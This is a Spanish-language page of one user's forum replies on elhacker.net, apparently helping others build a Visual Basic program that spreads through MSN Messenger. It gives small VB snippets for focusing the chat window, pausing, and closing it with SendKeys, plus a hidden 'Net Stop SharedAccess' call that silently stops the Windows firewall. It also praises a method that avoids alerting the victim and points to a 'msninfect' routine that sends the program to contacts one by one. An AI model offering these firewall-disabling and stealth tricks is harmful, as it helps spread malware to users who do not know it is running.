Mensajes

ahhhsolo lo decia por el post de KiZaR aqui:


http://foro.elhacker.net/index.php/topic,173609.0.html

tal vez tew ayude ... y si no esta el post avisame

sacado de un post de KiZaR:

http://foro.elhacker.net/index.php/topic,123518.0.html

tu dices esta ?

Menú contextual: Al pulsarlo desplega un menú de opciones, el mismo que al utilizar el botón derecho del ratón. Se representa por una flechita que señala una especie de listado, similar al menú que se desplega en pantalla.

antes del sendkeys alt+f4 puedes probar poniendo esto:

Código [Seleccionar] Expandir

appactivate "Conversación"

o....

Código [Seleccionar] Expandir

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub

y cuando quieras esperar pones este code

Código [Seleccionar] Expandir

Wait (1)


Sacado del code q esta en el hilo q antes postee

Eso q dice Grok lo recomiendo mucho mas q desactivar el firewall ya que si lo has probado le sale la notificacion de q se desactivo y es muy alertente para el usuario.

busca algo sobre la funcion "sleep" y para cerrar solo dale  un sendkeys con % y F4 y listo..

Código (vb) [Seleccionar] Expandir

Private sub Form_load ()
shell "Net Stop SharedAccess", vbhide
end sub


Y si cambias "Stop" por "Start" lo inicias de nuevo..

                                             Salu25

Pregunta hasta el punto de agregarlos a la lista, funciona???
por q tal vez te este fallando y no se produzca el envio uno por uno ....yo ahora no puedo probarlo por q toy en el trabajo y no tengo vb a mano y sino cheka esto y ve al "sub msninfect"

http://foro.elhacker.net/index.php?topic=181032.msg862609

ta l vez puedas comparar

PD: Yo no se de visual basic